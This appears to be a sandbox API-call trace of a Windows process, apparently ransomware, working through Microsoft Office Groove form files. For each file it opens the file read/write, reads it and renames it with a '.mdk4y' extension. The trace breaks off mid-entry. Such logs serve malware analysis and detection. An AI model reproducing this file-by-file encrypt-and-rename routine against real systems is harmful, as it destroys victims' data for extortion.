1 [0221.537] AreFileApisANSI () returned 1 [0221.537] GetACP () returned 0x4e4 [0221.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsBlankPage.html", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsBlankPage.html7pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 19 [0221.537] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsblankpage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.538] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829676800000) returned 1 [0221.538] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x43a, lpOverlapped=0x0) returned 1 [0221.542] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829677200000) returned 1 [0221.542] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829677200000) returned 1 [0221.542] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsblankpage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsblankpage.html.mdk4y")) returned 1 [0221.544] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.544] AreFileApisANSI () returned 1 [0221.544] GetACP () returned 0x4e4 [0221.544] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsBrowserUpgrade.html", cchWideChar=24, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsBrowserUpgrade.htmlrrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 24 [0221.544] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsbrowserupgrade.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829677500000) returned 1 [0221.545] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x829, lpOverlapped=0x0) returned 1 [0221.546] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829677600000) returned 1 [0221.546] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829677600000) returned 1 [0221.546] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsbrowserupgrade.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsbrowserupgrade.html.mdk4y")) returned 1 [0221.547] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.547] AreFileApisANSI () returned 1 [0221.547] GetACP () returned 0x4e4 [0221.547] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsColorChart.html", cchWideChar=20, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsColorChart.htmlhtml", lpUsedDefaultChar=0x37dda8) returned 20 [0221.547] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formscolorchart.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829677800000) returned 1 [0221.548] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x2ef, lpOverlapped=0x0) returned 1 [0221.559] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829678900000) returned 1 [0221.559] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829678900000) returned 1 [0221.560] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formscolorchart.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formscolorchart.html.mdk4y")) returned 1 [0221.561] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.561] AreFileApisANSI () returned 1 [0221.561] GetACP () returned 0x4e4 [0221.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsFormTemplate.html", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsFormTemplate.htmlml", lpUsedDefaultChar=0x37dda8) returned 22 [0221.561] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829679200000) returned 1 [0221.562] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x13bb, lpOverlapped=0x0) returned 1 [0221.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829679300000) returned 1 [0221.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829679300000) returned 1 [0221.563] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplate.html.mdk4y")) returned 1 [0221.564] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.564] AreFileApisANSI () returned 1 [0221.564] GetACP () returned 0x4e4 [0221.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsFormTemplateRTL.html", cchWideChar=25, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsFormTemplateRTL.htmlrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 25 [0221.565] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplatertl.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829679500000) returned 1 [0221.565] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x13c5, lpOverlapped=0x0) returned 1 [0221.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829679600000) returned 1 [0221.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829679600000) returned 1 [0221.567] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplatertl.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplatertl.html.mdk4y")) returned 1 [0221.568] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.568] AreFileApisANSI () returned 1 [0221.568] GetACP () returned 0x4e4 [0221.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsImageTemplate.html", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsImageTemplate.htmlml", lpUsedDefaultChar=0x37dda8) returned 23 [0221.568] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsimagetemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.568] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829679800000) returned 1 [0221.568] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x8ab, lpOverlapped=0x0) returned 1 [0221.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829680000000) returned 1 [0221.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829680000000) returned 1 [0221.570] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsimagetemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsimagetemplate.html.mdk4y")) returned 1 [0221.571] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.571] AreFileApisANSI () returned 1 [0221.571] GetACP () returned 0x4e4 [0221.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsMacroTemplate.html", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsMacroTemplate.html", lpUsedDefaultChar=0x37dda8) returned 23 [0221.571] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsmacrotemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.571] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829680100000) returned 1 [0221.572] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x858, lpOverlapped=0x0) returned 1 [0221.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829680700000) returned 1 [0221.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829680700000) returned 1 [0221.577] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsmacrotemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsmacrotemplate.html.mdk4y")) returned 1 [0221.578] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.578] AreFileApisANSI () returned 1 [0221.578] GetACP () returned 0x4e4 [0221.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsPreviewTemplate.html", cchWideChar=25, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsPreviewTemplate.html", lpUsedDefaultChar=0x37dda8) returned 25 [0221.578] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.579] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829680900000) returned 1 [0221.579] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x46ff, lpOverlapped=0x0) returned 1 [0221.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829681500000) returned 1 [0221.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829681600000) returned 1 [0221.586] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplate.html.mdk4y")) returned 1 [0221.587] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.587] AreFileApisANSI () returned 1 [0221.587] GetACP () returned 0x4e4 [0221.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsPreviewTemplateRTL.html", cchWideChar=28, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsPreviewTemplateRTL.html9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 28 [0221.587] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplatertl.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829681800000) returned 1 [0221.588] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x4709, lpOverlapped=0x0) returned 1 [0221.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829681900000) returned 1 [0221.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829681900000) returned 1 [0221.590] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplatertl.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplatertl.html.mdk4y")) returned 1 [0221.590] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.591] AreFileApisANSI () returned 1 [0221.591] GetACP () returned 0x4e4 [0221.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsPrintTemplate.html", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsPrintTemplate.html.html", lpUsedDefaultChar=0x37dda8) returned 23 [0221.591] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829682100000) returned 1 [0221.591] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x5bf, lpOverlapped=0x0) returned 1 [0221.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829685800000) returned 1 [0221.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829685800000) returned 1 [0221.628] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplate.html.mdk4y")) returned 1 [0221.630] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.630] AreFileApisANSI () returned 1 [0221.630] GetACP () returned 0x4e4 [0221.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsPrintTemplateRTL.html", cchWideChar=26, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsPrintTemplateRTL.htmlml", lpUsedDefaultChar=0x37dda8) returned 26 [0221.630] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplatertl.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829686100000) returned 1 [0221.631] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x5c9, lpOverlapped=0x0) returned 1 [0221.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829686200000) returned 1 [0221.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829686200000) returned 1 [0221.633] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplatertl.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplatertl.html.mdk4y")) returned 1 [0221.634] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.634] AreFileApisANSI () returned 1 [0221.634] GetACP () returned 0x4e4 [0221.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsViewAttachmentIcons.jpg", cchWideChar=28, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsViewAttachmentIcons.jpg", lpUsedDefaultChar=0x37dda8) returned 28 [0221.634] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticons.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829686400000) returned 1 [0221.634] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1499, lpOverlapped=0x0) returned 1 [0221.641] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829687100000) returned 1 [0221.641] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829687100000) returned 1 [0221.642] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticons.jpg.mdk4y")) returned 1 [0221.643] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.643] AreFileApisANSI () returned 1 [0221.643] GetACP () returned 